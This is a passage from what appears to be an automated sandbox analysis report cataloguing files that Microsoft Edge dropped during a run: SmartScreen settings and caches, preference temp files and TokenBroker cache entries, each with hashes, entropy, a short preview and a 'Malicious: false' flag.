ffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.977633412988614
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUlc:YWLSGTt1o9LuLgfGBPAzkVj/T8lUC
MD5:	5283244C6C34A9DCF2A86431A21757E3
SHA1:	12F7F228A3CA6F76116119913C810F25F7FB260E
SHA-256:	4C369BE81FEF5C902A3B3D5466A9251E4479F18DEA8C802EED380E5FBD5367D6
SHA-512:	B527382E9213902AA657593C8B77580FD50BFC04F944B36AD727737F490EEB0EF320DE4E9A188B94BDF05D0AEEAACBC90EA3AF2C3D64AD26748E3D0395908D27
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731912151155194}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a29daf69-b8cc-4aa3-a286-87a163c4ad8e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45907
Entropy (8bit):	6.0898642662676155
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx92s8hu4UhDO6vP6O3MN9YiJFErE2vULbQQkHX1hICAoEGoup:mMk1rT8HR92VD6c3L0THgRoEhu3VlXrx
MD5:	629E69AAB3CC8BC31100122659856078
SHA1:	4D81473996DBA307EF2603BA51720DF9E93D2BCA
SHA-256:	DF659338F77371451AD8A87B1486D58F7C40D32859FB12F79AA1F34F73AB2ACE
SHA-512:	A92BCAF3FAAF033E3765EDFC671D5947D365C96C0F165B821236E0FBFA405C2968DDE3AF7A903F005DA836A8E449F2390172BC3EF9AF502A62917E5B1BE36781
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e12a64ce-e366-438e-8cc0-05b5667314fd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090773516686713
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEg6Vtbz8hu3VlXr4CRo1
MD5:	243CB4A0D03681E32242854CC6D196D1
SHA1:	6836E7D8D334AFBF5CAC7D6FDC96AA342CCDAC5B
SHA-256:	56509DD516AD8368FE45247CB2CD2445EB8EEE0964B2E62C48885CAB61794707
SHA-512:	5970EA339F2004F5F2C8BD0D403B67B4DAF88CA9553A494AD3B03B641AEE972D3A231444BA0E2DDAF3F0D05C4B9AB0942887EAE9D76684C25EEE1B4424C417CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\eff66ecb-1f32-4336-8adb-a758ba4a7d7e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44686
Entropy (8bit):	6.096781977193501
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB+wuqhDO6vP6O3MN9YiJFErE2vUcGoup1Xl3jVzXq:z/Ps+wsI7yOE46c3chu3VlXr4CRo1
MD5:	91C43DC5603BF5646A7998140773084D
SHA1:	02F64EFB37604997795C95C1591319197C02626C
SHA-256:	E5A1BEFFAB02C4EEC75A08EB0E28AB3AAD366D83D4BA29FF6086CB7D9891D2BC
SHA-512:	641FC2214FFCF048750187BE2BE480D95A0B6DBA3C422F3922D4AF54B08D6830E4E33C54B1C3908620F4D8EA6D9A441221D6DBB671AC899A0066FAAC689CE30E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fb0e39e5-3465-4f4f-bedc-ab6cf4ee5366.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45954
Entropy (8bit):	6.089634619259285
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx92y8hu4UhDO6vP6O3MN9YiJFErE2vULbQQkHX1hICAoEGoup:mMk1rT8HR92jD6c3L0THgRoEhu3VlXrx
MD5:	6C407BD8026B7E346E2A43C10FDB9FD5
SHA1:	9DD1B4CCF3D5652C7394A2844C53FA3C6629FFE2
SHA-256:	C49688D411EECB8B749CE60C8DC6D7E8B64A88295F2D78834070E9CFC00D6DBD
SHA-512:	2DCAC75F4F8BDBF6D83D17EB451EE18F3EB20241DA4249557A679F6E26840AB3F061ED7EA0E25166B22CEAEC4211E6A89DD2F8BD9EAF8DF8379060DEC026E489
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8489841412516435
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxzexl9Il8ukiuLghQmU8NoTQLfc8d1rc:mzYuiuLgimU0oeY
MD5:	0095DC6B378DFB7DD2AB5642CBEAD97F
SHA1:	B96A22AAC4286872EE4E1D8515FC7EFEF312D7E9
SHA-256:	32AD62ACA14FA24AFE447D08B259B17426965C273CDBD9628F9753DA2AB83A78
SHA-512:	36F73776F8DBDED106F8B08E9EE9F02BDCCF66D5D7EC2BAE25E8B07FF85EF0A0C221B647A256A3E99E1D5E72ED1E24F8E452D6697271A9A5867EE543FAFD61FC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.N.d.b.u.q.I.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.9.j.f.M.E.e.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9953067928587567
Encrypted:	false
SSDEEP:	96:+Yui420J1JqbVaQz9kzvoiOEhF56ud8I8Ve+/ILS:+kCJ1JCzhkzvoiOEgud8I8L/US
MD5:	874013090C8C51D365A54B4ED6B646D0
SHA1:	597AEA5208E5057F6368FFE05E400DFF0F318607
SHA-256:	BC8B2D2CF3855B31BC14410E8023BA87D66E0C4CBE1C32BCEB8F3AA61D63BE51
SHA-512:	3C097998BDC9515ED35E420D9C185AC658CA20B8044B1C4C4C2CD5E0F02B0F8179F924D46621AC43AE3D2865552F3170E336AADDF977866E10BFD189A8A80084
Malicious:	false
